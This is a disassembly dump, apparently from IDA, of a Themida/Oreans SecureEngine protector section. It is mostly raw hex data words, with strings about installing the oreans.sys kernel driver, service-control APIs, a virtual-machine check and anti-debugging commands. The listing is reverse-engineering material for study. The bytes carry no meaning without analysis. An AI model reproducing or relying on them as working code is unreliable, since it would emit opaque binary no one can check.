dd 858D05ECh, 5ECD914h, 7E858D50h, 5005ECD8h, 168h, 2495FF80h dd 6A05ECD9h, 18858D04h, 5005ECD9h, 6A046Ah, 0D90F858Dh dd 0FF5005ECh, 0ECD914B5h, 3595FF05h, 8305EA01h, 0EA13D9BDh dd 840F0005h, 0Ch, 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh dd 95FF05ECh, 5EA3051h, 8960C361h, 0ECD91885h, 14858D05h dd 5005ECD9h, 0D87E858Dh, 685005ECh, 80000001h, 0D92495FFh dd 46A05ECh, 0D918858Dh, 6A5005ECh, 8D006A04h, 0ECD8F185h dd 0B5FF5005h, 5ECD914h, 13595FFh, 0BD8305EAh, 5EA13D9h dd 0C840F00h, 0FF000000h, 0ECD914B5h, 2095FF05h, 0FF05ECD9h dd 0ECD914B5h, 5195FF05h, 6105EA30h, 858960C3h, 5ECD918h dd 0D914858Dh, 8D5005ECh, 0ECD87E85h, 1685005h, 0FF800000h dd 0ECD92495h, 8D046A05h, 0ECD91885h, 46A5005h, 858D006Ah dd 5ECD8F8h, 14B5FF50h, 0FF05ECD9h, 0EA013595h, 0D9BD8305h dd 5EA13h, 0C840Fh, 0B5FF0000h, 5ECD914h, 0D92095FFh, 0B5FF05ECh dd 5ECD914h, 305195FFh, 0C36105EAh, 18858960h, 8D05ECD9h dd 0ECD91485h, 858D5005h, 5ECD87Eh, 16850h, 95FF8000h dd 5ECD924h, 858D046Ah, 5ECD918h, 6A046A50h, 858D00h, 5005ECD9h dd 0D914B5FFh, 95FF05ECh, 5EA0135h, 13D9BD83h, 0F0005EAh dd 0C84h, 14B5FF00h, 0FF05ECD9h, 0ECD92095h, 14B5FF05h dd 0FF05ECD9h, 0EA305195h, 60C36105h, 0D9188589h, 858D05ECh dd 5ECD914h, 7E858D50h, 5005ECD8h, 168h, 2495FF80h, 6A05ECD9h dd 18858D04h, 5005ECD9h, 6A046Ah, 0D907858Dh, 0FF5005ECh dd 0ECD914B5h, 3595FF05h, 8305EA01h, 0EA13D9BDh, 840F0005h dd 0Ch, 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh, 95FF05ECh dd 5EA3051h, 0C760C361h, 0ECD91885h, 105h, 14858D00h, 5005ECD9h dd 0D87E858Dh, 685005ECh, 80000002h, 0D92495FFh, 0C00B05ECh dd 0F840Fh, 85C70000h, 5ECD918h, 0 dd 4DE9h, 8D046A00h, 0ECD91885h, 46A5005h, 858D006Ah, 5ECD892h dd 14B5FF50h, 0FF05ECD9h, 0EA013595h, 0FC00B05h, 0F84h dd 1885C700h, 5ECD9h, 0E9000000h, 0Ah, 0D91885C7h, 105ECh dd 0B5FF0000h, 5ECD914h, 305195FFh, 8B6105EAh, 0ECD91885h dd 8960C305h, 0ECD91885h, 14858D05h, 5005ECD9h, 0D87E858Dh dd 685005ECh, 80000001h, 0D92495FFh, 46A05ECh, 0D918858Dh dd 6A5005ECh, 8D006A04h, 0ECD89285h, 0B5FF5005h, 5ECD914h dd 13595FFh, 0BD8305EAh, 5EA13D9h, 0C840F00h, 0FF000000h dd 0ECD914B5h, 2095FF05h, 0FF05ECD9h, 0ECD914B5h, 5195FF05h dd 6105EA30h, 858960C3h, 5ECD918h, 0D914858Dh, 8D5005ECh dd 0ECD87E85h, 1685005h, 0FF800000h, 0ECD92495h, 8D046A05h dd 0ECD91885h, 46A5005h, 858D006Ah, 5ECD8A4h, 14B5FF50h dd 0FF05ECD9h, 0EA013595h, 0D9BD8305h, 5EA13h, 0C840Fh dd 0B5FF0000h, 5ECD914h, 0D92095FFh, 0B5FF05ECh, 5ECD914h dd 305195FFh, 0C36105EAh, 1A4585C6h, 685205EAh, 0ADE47B07h dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 0D9248589h, 85C605ECh dd 5EA1A45h, 0E56852h, 0B5FF902Eh, 5EA2B19h, 35D95FFh dd 858905EAh, 5ECD920h, 1A4585C6h, 685205EAh, 0B9BF1235h dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 1358589h, 85C605EAh dd 5EA1A45h, 10346852h, 0B5FF9878h, 5EA2B19h, 35D95FFh dd 858905EAh, 5EA3051h, 1A4585C6h, 685205EAh, 0C005DBD4h dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 13CD8589h, 0FE805EAh dd 66000000h, 1170B245h, 998D13E0h, 9B169B10h, 0BE58C62Ch dd 646545D2h, 75A2C081h, 8A0F0000h, 0Dh, 8E9h, 0EFA7E300h dd 68122787h, 0EC7EBB0Ch, 0EB8131F7h, 31F7CF44h, 820Fh dd 108B0000h, 0C281C88Bh, 369F4236h, 0D8CF99BFh, 24EA8177h dd 6611873Fh, 0EBD9F681h, 93B6F281h, 0B70F7662h, 595352F3h dd 8A60008Fh, 61C58AD1h, 8104E883h, 1EBh, 17850F00h, 0E9000000h dd 3Dh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h, 12E817CAh dd 6E000000h, 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h dd 5EFE8B8Dh, 0FFFF8DE9h, 3C5372FFh, 0FC5B7574h, 0C45CEFF6h dd 5C1EEBAAh, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h dd 5C004449h, 4E5C2E5Ch, 45434954h, 29C08B00h, 0EA292995h dd 0D9BD8305h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h dd 0B8C08B53h, 40Fh, 0D798589h, 9D8D05EAh, 5ECDDF5h, 585BD3FFh dd 2EE5BD83h, 740005EAh, 0B8535017h, 40Fh, 0D798589h, 9D8D05EAh dd 5ECDAE4h, 585BD3FFh, 0B39FBF66h, 58589h, 0C08B05EAh dd 10E9h, 51760400h, 0E9B68D7h, 657914C6h, 9215E8E8h, 4585C6ADh dd 4305EA1Ah, 0B918D89h, 4E805EAh, 0FC000000h, 50BC8E6Eh dd 5E950h, 0CD990000h, 59A979D0h, 0B9665059h, 448B1DD0h dd 0C2BA0424h, 8B76A8D4h, 0C38A6000h, 24448961h, 0E8525004h dd 7, 0D9B773AFh, 0E909EA93h, 0Ch, 0E2C6B49Fh, 62F50AA1h dd 0E488CEDFh, 0F310F5Eh, 283h, 5A616000h, 6A5858h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 535050C3h, 36C4689Ah, 0E92AB869h, 7, 1C018A8Ch, 0FFCD984Eh dd 0EA1D45B5h, 4E2CBA05h, 13BF2879h, 8D1D31CDh, 0EA396985h dd 758D8905h, 0FF05EA00h, 0D9B58BD0h, 5005EA2Bh, 0A941BF60h dd 28B90583h, 616B368Bh, 81240489h, 698CDAEAh, 0D5B58B2Bh dd 6A05EA23h, 0D1B58900h, 0E805EA1Dh, 4, 80h, 0BA50CE8Bh dd 14832AB0h, 424448Bh, 7E9008Bh, 0E000000h, 497B541Fh dd 44890847h, 6A580424h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 8E57C351h, 8B50036Ah dd 0EA1285BDh, 8E95E05h, 0EC000000h, 2E6A3F50h, 6A81B3F2h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 41B53B88h, 0DC6D70BEh, 2311BD89h, 36A05EAh dd 2A58D8Bh, 4E805EAh, 0 dd 50C00000h, 9E852h, 0F7280000h, 290F435Dh, 66D5F3FFh dd 0F5FCA8Bh, 5AF18B31h, 0C0B55058h, 424448Bh, 0BE9h, 0F4D7CD00h dd 7FB5B131h, 6739D1DEh, 5160008Bh, 61594CB2h, 4244489h dd 10E960h, 5C0000h, 18F744Eh, 8889AB2Fh, 304FAC59h, 8A0F01CDh dd 4, 5A28BB66h, 8B575861h, 9D8D5ECBh, 5ECE01Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F7C35646h, 255CDEF0h dd 0B67E54B4h, 0F8C0F02h, 0E9000000h, 0Ah, 7F973D3Eh, 0B3EFB340h dd 0BD33266Ch, 5EA2325h, 0E9525093h, 8, 986AF9C0h, 51AE5A69h dd 0AE9310Fh, 0F2000000h, 0FC57B3C8h, 5F3AF5D2h, 50585AD8h dd 11E8h, 49CFBD00h, 1554E23h, 6AA34FB5h, 0B750342Ah, 8B662DACh dd 609359FBh, 7E9h, 2DD9C900h, 839FFCD2h, 13E8h, 0BB20E300h dd 6FCC5412h, 0EE074E65h, 0FFD89853h, 3B6FC2E8h, 0D0FF615Eh dd 57D1B70Fh, 13E8h, 0B0850D00h, 0A5CC6A15h, 0E9396BD6h dd 0C25243Bh, 5CBA9A35h, 5A5F5953h, 0CD850F40h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 8818C351h, 85894D9Eh, 5EA1001h, 68D0Fh, 95890000h dd 5EA1591h, 0F860F58h, 0E8000000h, 5, 9A0C3426h, 79BF660Bh dd 89505901h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 64A48BC3h, 8B0F94h, 6A000000h, 0CE900h dd 0EF00000h, 0BE64E68Dh, 0D52E173Dh, 8166E0B2h, 6869BAD6h dd 776A9BEEh, 38E0Fh, 8B660000h, 243481D0h, 776A9B6Eh dd 0C506BE66h, 0F1A7D981h, 36A6C99h, 8953006Ah, 0EA1E7D85h dd 958B5F05h, 5EA30CDh, 6A036Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD8B82C3h, 5EA0125h dd 4E8h, 0 dd 8A0F52C0h, 2, 50595951h, 8BF98B66h, 0BA042444h, 0BB3664Ch dd 0E957008Bh, 6, 17A91476h, 895F0FFAh, 60042444h, 0F04ABA66h dd 0FB65250h, 880F310Fh, 0 aZxaxj db 'ZXaXj',0 dw 0E853h dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 36C35343h, 323BF0B9h dd 279D8D10h, 6A05ECE0h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 506FC356h, 11E9h, 3FD78E00h dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 1C8942DAh, 0C880F24h dd 0F000000h, 68Dh, 71B58900h, 0BF05EA29h, 400AF7ADh, 8589D0FFh dd 5EA24BDh, 25850F40h, 8B000001h, 296058D1h, 0EA0069B5h dd 6810F05h, 81000000h, 4D2B7DEFh, 0B5906103h, 8B60503Ah dd 899061DAh, 0EA25E19Dh, 66006A05h, 0F2E781h, 228A0Fh dd 0AE80000h, 0A3000000h, 0A36620D8h, 0B68AEB73h, 0CE836h dd 0B9E90000h, 7BF01AB8h, 10747925h, 5E59CD6Ch, 0E3BAE768h dd 240481D7h, 281C4599h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 11C35242h, 487115B1h, 0F036AB9h, 68Fh dd 4DBD8900h, 6A05EA31h, 0CE8A5300h, 18A0F5Ah, 0F8000000h dd 9D89036Ah, 5EA0EC5h, 68D78B66h, 0B0410816h, 481CF8Bh dd 0BEF7EA24h, 7E90Fh, 59C90000h, 89590FF3h, 329D8DBEh dd 0F05ECE0h, 582h, 0AE45B900h, 0E8933D69h, 8, 8DAA9417h dd 67CBE14Ah, 0BE66505Ah, 0B193B605h, 0E9D0FF82h, 0Fh dd 2ED8F123h, 3CF504B0h, 3115F136h, 409673E0h, 1E850Fh dd 8D8B0000h, 5EA12C5h, 830F58h, 0E9000000h, 151h, 6880Fh dd 0C1810000h, 1328E6ECh, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 27F7D2C3h, 1164CF02h dd 60F08B4Bh, 1A359589h, 8D8905EAh, 5EA2C19h, 0BF665861h dd 6660FAE0h, 60756DBFh, 0E9CB8B66h, 7, 1C1F4658h, 615FE20Ch dd 4585C661h, 4305EA1Ah, 0BD5958Bh, 946805EAh, 66BBA54Ch dd 81C3C9BFh, 0FE132404h, 958904D0h, 5EA1329h, 1D45B5FFh dd 0B58B05EAh, 5EA2B39h, 3969858Dh, 6A05EAh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 821EF5C3h dd 7E459A2Eh, 2BC1B589h, 0D0FF05EAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0B2C35242h, 0AD6ED727h, 9D897E93h dd 5EA32B5h, 1DED8589h, 0F9305EAh, 85h, 6A935000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0FBD8C352h, 85850933h, 0FF05EA15h, 9D9531D0h, 8D05EA2Ch dd 0EA70629Dh, 1B8F805h, 8B000000h, 6AE3FFCFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8B3AC350h, 0EA0F398Dh, 2BC18B05h, 0EA02518Dh, 0E9C08B05h dd 0Fh, 4F519E44h, 0CF3A850Fh, 6D21718Ch, 83E24CC3h, 0EA13D9BDh dd 9750005h, 2EE5BD83h, 740005EAh, 8B535019h, 40FB8C0h dd 85890000h, 5EA0769h, 0DE5C9D8Dh, 0D3FF05ECh, 0BD83585Bh dd 5EA2EE5h, 50177400h, 40FB853h, 85890000h, 5EA0769h dd 0DAFD9D8Dh, 0D3FF05ECh, 0ED80585Bh, 518D8BD0h, 6605EA2Ch dd 0C08BD08Bh, 20EE9h, 61433300h, 746F6E6Eh, 69727720h dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 1A4585C6h, 684705EAh, 0E3E45B86h dd 1D45B5FFh, 858D05EAh, 5EA3969h, 468D0FFh, 8D000001h dd 0EA1EFD9Dh, 0D0FF5305h, 0E8B58D50h, 8B05ECE9h, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4585C6A4h dd 4305EA1Ah, 8E6EFC68h, 45B5FFBCh, 8D05EA1Dh, 0EA396985h dd 8DD0FF05h, 0EA1EFDB5h, 68006A05h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 1A4585C6h, 685705EAh, 0A69BEE56h dd 1D45B5FFh, 858D05EAh, 5EA3969h, 0BD8DD0FFh, 5EA00A5h dd 0EB0E8D8Dh, 6A05ECh, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 5ECE7F0h, 0D7DF858Dh, 0D0FF05ECh dd 70628D8Dh, 0B805EAh, 0FF000000h, 4585C6E1h, 4305EA1Ah dd 764AA768h, 45B5FFC0h, 8D05EA1Dh, 0EA396985h, 53D0FF05h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 868h dup(0) dword_572768 dd 15Bh dup(0) ; DATA XREF: Themida_:00569B27o dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E8000000h, 0Ch, 57C3FECDh, 8AE9764Ch, 0FD6DC3DCh dd 0F5E1EB5h, 0C681C7B7h, 71DCh, 68CA8Bh, 8B000000h, 0EA1E398Dh dd 0CA8B5B05h, 8B1E148Bh, 2EF281F8h, 6623601Ah, 1D28C981h dd 5457F281h, 8E963B8h, 0C2000000h, 0E419EB38h, 81765565h dd 454F91C2h, 0E98D8B0Ch, 8905EA2Ah, 0EE91E14h, 0A4000000h dd 63188692h, 0DC4C2564h, 0FAF8A8FDh, 5160608Ah, 0F08B615Bh dd 0B3EB8161h, 66521695h, 4B42EF81h, 95AFC381h, 8B525216h dd 0EA0E99BDh, 0FB815805h, 0FFFF8EC8h, 0FF8E850Fh, 9E9FFFFh dd 0F2000000h, 2776EC1h, 0D99F92FFh, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 5ED2410h, 0A840F00h, 0C7000000h, 0EA2EE585h, 105h, 4585C600h dd 4705EA1Ah, 0C00CCA68h, 24048119h, 76AD5FC3h, 1D45B5FFh dd 858D05EAh, 5EA3969h, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 90B58D00h, 0E805ED23h, 225h, 2425BD03h dd 0BD8305EDh, 5ED2425h, 0B840F00h, 0C7000000h, 0EA13D985h dd 105h, 0B58DC300h, 5ED239Bh, 1FCE8h, 25BD0300h, 8305ED24h dd 0ED2425BDh, 840F0005h, 0Bh, 2EE585C7h, 105EAh, 8DC30000h dd 0ED2414B5h, 1D3E805h, 0BD030000h, 5ED2425h, 2425BD83h dd 0F0005EDh, 0B84h, 1185C700h, 105EA0Dh, 0C3000000h, 23A5B58Dh dd 0AAE805EDh, 3000001h, 0ED2425BDh, 25BD8305h, 5ED24h dd 0B840Fh, 85C70000h, 5EA2EE5h, 1, 0AFB58DC3h, 0E805ED23h dd 181h, 2425BD03h, 0BD8305EDh, 5ED2425h, 15840F00h, 0C7000000h dd 0EA2EE585h, 105h, 0D985C700h, 105EA13h, 0C3000000h dd 23BDB58Dh, 4EE805EDh, 3000001h, 0ED2425BDh, 25BD8305h dd 5ED24h, 0A840Fh, 85C70000h, 5EA2F5Dh, 1, 23C7B58Dh dd 26E805EDh, 3000001h, 0ED2425BDh, 25BD8305h, 5ED24h dd 0A840Fh, 85C70000h, 5EA2F5Dh, 1, 23D2B58Dh, 0FEE805EDh dd 3000000h, 0ED2425BDh, 25BD8305h, 5ED24h, 0A840Fh, 85C70000h dd 5EA308Dh, 1, 23D8B58Dh, 0D6E805EDh, 3000000h, 0ED2425BDh dd 25BD8305h, 5ED24h, 0A840Fh, 85C70000h, 5EA1B19h, 1 dd 23DEB58Dh, 0AEE805EDh, 3000000h, 0ED2425BDh, 25BD8305h dd 5ED24h, 0A840Fh, 85C70000h, 5EA1411h, 1, 23ECB58Dh dd 86E805EDh, 3000000h, 0ED2425BDh, 25BD8305h, 5ED24h dd 0A840Fh, 85C70000h, 5EA30EDh, 1, 23F9B58Dh, 5EE805EDh dd 3000000h, 0ED2425BDh, 25BD8305h, 5ED24h, 0A840Fh, 85C70000h dd 5EA2EF9h, 1, 2404B58Dh, 36E805EDh, 3000000h, 0ED2425BDh dd 25BD8305h, 5ED24h, 0A840Fh, 85C70000h, 5EA2CC5h, 1 dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh dd 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 5840F16h, 0B9000000h, 0 aFga db 'FG─>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 5ED2425h, 0AE9h, 2585C700h dd 5ED24h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 10h dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 align 10h aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 db 43h dd 74616572h, 72655365h, 65636976h, 49504120h db 20h aErrorWhileExtr db 'Error while extraction the driver',0 ; DATA XREF: Themida_:0056BB49o aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 dd 0 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 29C48B00h, 0EA2041BDh, 51858905h, 6A05EA2Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E0BEC351h, 4FC7C806h, 11E8C08Bh, 2F000000h, 0C4FA4AFCh dd 0FF88FFB8h, 3F127CD8h, 2F5A203Ch, 10E8h, 5FE63600h dd 51BB75D4h, 2C64BC22h, 843AB859h, 835A5A61h, 0EA13D9BDh dd 9750005h, 2EE5BD83h, 740005EAh, 8B535019h, 43DB8C0h dd 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh dd 5EA2EE5h, 50177400h, 43DB853h, 85890000h, 5EA0D79h dd 0DAE49D8Dh, 0D3FF05ECh, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0AACB8EC3h dd 4E4BB99Ah, 6AA68Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 9AEA8AC3h, 89B6B379h, 0EA2BC98Dh dd 0E9C08B05h, 11h, 846FBDDh, 123B4FDDh, 19D31ED4h, 495425BCh dd 52C08B8Ah, 0E1958Bh, 0F5905EAh, 1B8Ch, 13E800h, 0C9F60000h dd 75201DC5h, 0B6AE793Fh, 0E05C2BF2h, 0A6DBD8F4h, 59FA8B03h dd 13D9BD83h, 750005EAh, 0E5BD8309h, 5EA2Eh, 53501374h dd 0B8C08Bh, 8D000000h, 0ECDC979Dh, 5BD3FF05h, 0E5BD8358h dd 5EA2Eh, 53501174h, 0B8h, 489D8D00h, 0FF05ECDBh, 8B585BD3h dd 0EA2D818Dh, 0AD8D8B05h, 8B05EA24h, 54C9B9C0h, 0C08B1F21h dd 5E8h, 52AE500h, 9D896CE6h, 5EA0C59h, 95896059h, 5EA255Dh dd 68F0Fh, 858B0000h, 5EA31B5h, 0D9BD8361h, 5EA13h, 0BD830975h dd 5EA2EE5h, 50137400h, 0B8C08B53h, 0 dd 0DBC99D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50117400h dd 0B853h, 9D8D0000h, 5ECDB16h, 585BD3FFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0C08BB64Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7CC35343h dd 0ABA9538h, 8B339FB8h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 7335D7D4h, 6D09455h, 0DE9h dd 893B3C00h, 0EA9825F8h, 817BCC00h, 0BD83BCADh, 5EA13D9h dd 83097500h, 0EA2EE5BDh, 13740005h, 0C08B5350h, 0B8h dd 309D8D00h, 0FF05ECDCh, 83585BD3h, 0EA2EE5BDh, 11740005h dd 0B85350h, 8D000000h, 0ECDB2F9Dh, 5BD3FF05h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0AC528BE5h, 6E82DE7Eh, 9A59503h, 10E805EAh, 0C6000000h dd 4CFD58CFh, 3CA38994h, 342E5424h, 0B5D0CA34h, 0C08B59B3h dd 0A7A9E181h, 0C08B0365h, 2C41BD8Bh, 0BD8305EAh, 5EA13D9h dd 83097500h, 0EA2EE5BDh, 13740005h, 0C08B5350h, 0B8h dd 629D8D00h, 0FF05ECDBh, 89585BD3h, 0EA24B5B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89BBECACh, 0EA1CE585h, 50C08B05h, 0DD78166h, 0C08B5965h dd 5B71BF66h, 13D9BD83h, 750005EAh, 0E5BD8309h, 5EA2Eh dd 53501974h, 0D0B8C08Bh, 89000007h, 0EA0D7985h, 0F59D8D05h dd 0FF05ECDDh, 83585BD3h, 0EA2EE5BDh, 17740005h, 0D0B85350h dd 89000007h, 0EA0D7985h, 0E49D8D05h, 0FF05ECDAh, 29585BD3h dd 0EA31CDB5h, 61958B05h, 0B905EA2Dh, 4175D10h, 80F8C08Bh dd 85C6E8DEh, 5EA1A45h, 0CE953h, 98930000h, 3080B518h dd 0C6AD3314h, 90684309h, 6699395Fh, 0FF3E9EBFh, 0EA1D45B5h dd 19950B05h, 8D05EA2Ch, 0EA396985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 890F3F4Eh dd 0 dd 830FD0FFh, 6, 0F398589h, 858905EAh, 5EA2A19h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 